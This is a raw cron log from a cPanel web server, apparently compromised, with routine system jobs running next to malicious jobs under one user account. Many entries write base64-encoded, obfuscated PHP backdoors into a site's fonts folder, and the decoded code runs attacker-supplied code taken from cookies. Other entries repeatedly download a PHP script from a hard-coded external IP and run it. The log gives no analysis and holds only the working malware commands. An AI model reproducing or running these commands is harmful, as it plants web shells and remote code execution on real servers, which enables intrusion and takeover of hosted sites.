Sep  1 14:27:01 ip-184-168-122-23 CROND[7405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:27:01 ip-184-168-122-23 CROND[7403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:27:01 ip-184-168-122-23 CROND[7404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:28:01 ip-184-168-122-23 CROND[7574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:28:01 ip-184-168-122-23 CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:28:01 ip-184-168-122-23 CROND[7578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:28:01 ip-184-168-122-23 CROND[7577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:28:01 ip-184-168-122-23 CROND[7579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:29:02 ip-184-168-122-23 CROND[7682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:29:02 ip-184-168-122-23 CROND[7683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:29:02 ip-184-168-122-23 CROND[7685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:29:02 ip-184-168-122-23 CROND[7686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:30:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:30:01 ip-184-168-122-23 CROND[7783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:30:01 ip-184-168-122-23 CROND[7785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:30:01 ip-184-168-122-23 CROND[7788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:30:01 ip-184-168-122-23 CROND[7790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:30:01 ip-184-168-122-23 CROND[7794]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:30:01 ip-184-168-122-23 CROND[7795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:30:01 ip-184-168-122-23 CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:31:01 ip-184-168-122-23 CROND[7902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:31:01 ip-184-168-122-23 CROND[7904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:31:01 ip-184-168-122-23 CROND[7905]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:31:01 ip-184-168-122-23 CROND[7906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:31:01 ip-184-168-122-23 CROND[7903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:32:01 ip-184-168-122-23 CROND[8013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:32:01 ip-184-168-122-23 CROND[8012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:32:01 ip-184-168-122-23 CROND[8016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:32:01 ip-184-168-122-23 CROND[8017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:32:01 ip-184-168-122-23 CROND[8018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:33:01 ip-184-168-122-23 CROND[8106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:33:01 ip-184-168-122-23 CROND[8107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:33:01 ip-184-168-122-23 CROND[8108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:33:01 ip-184-168-122-23 CROND[8109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:34:01 ip-184-168-122-23 CROND[8271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:34:01 ip-184-168-122-23 CROND[8273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:34:01 ip-184-168-122-23 CROND[8276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:34:01 ip-184-168-122-23 CROND[8274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:34:01 ip-184-168-122-23 CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:35:01 ip-184-168-122-23 CROND[8374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8377]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8373]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:35:01 ip-184-168-122-23 CROND[8378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:36:01 ip-184-168-122-23 CROND[8484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:36:01 ip-184-168-122-23 CROND[8486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:36:01 ip-184-168-122-23 CROND[8487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:36:02 ip-184-168-122-23 CROND[8488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:36:02 ip-184-168-122-23 CROND[8490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:37:01 ip-184-168-122-23 CROND[8605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:37:01 ip-184-168-122-23 CROND[8608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:37:01 ip-184-168-122-23 CROND[8607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:37:01 ip-184-168-122-23 CROND[8609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:38:02 ip-184-168-122-23 CROND[8689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:38:02 ip-184-168-122-23 CROND[8691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:38:02 ip-184-168-122-23 CROND[8692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:38:02 ip-184-168-122-23 CROND[8690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:38:02 ip-184-168-122-23 CROND[8693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:39:01 ip-184-168-122-23 CROND[8862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
